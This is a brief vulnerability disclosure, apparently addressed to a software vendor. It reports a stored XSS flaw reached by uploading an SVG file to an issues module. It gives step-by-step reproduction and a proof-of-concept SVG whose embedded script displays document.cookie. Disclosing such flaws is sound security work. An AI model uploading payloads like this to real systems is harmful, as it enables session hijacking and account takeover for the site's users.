I tested the demo site you provided. I see that there is a file upload vulnerability which can lead to XSS. Hope you check and find a solution as soon as possible.
link video Poc
https://drive.google.com/file/d/1LAcTulbfhGJfCmWdIel9e-Sk__uoQbDq/view?usp=sharing
1 .Login as account demo
2 .Access the module issues
3 .Then create an issue
4 .Upload an SVG file with the following content:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
5 .Save the issue and access the newly created issue, then access the just uploaded SVG file and the payload will be executed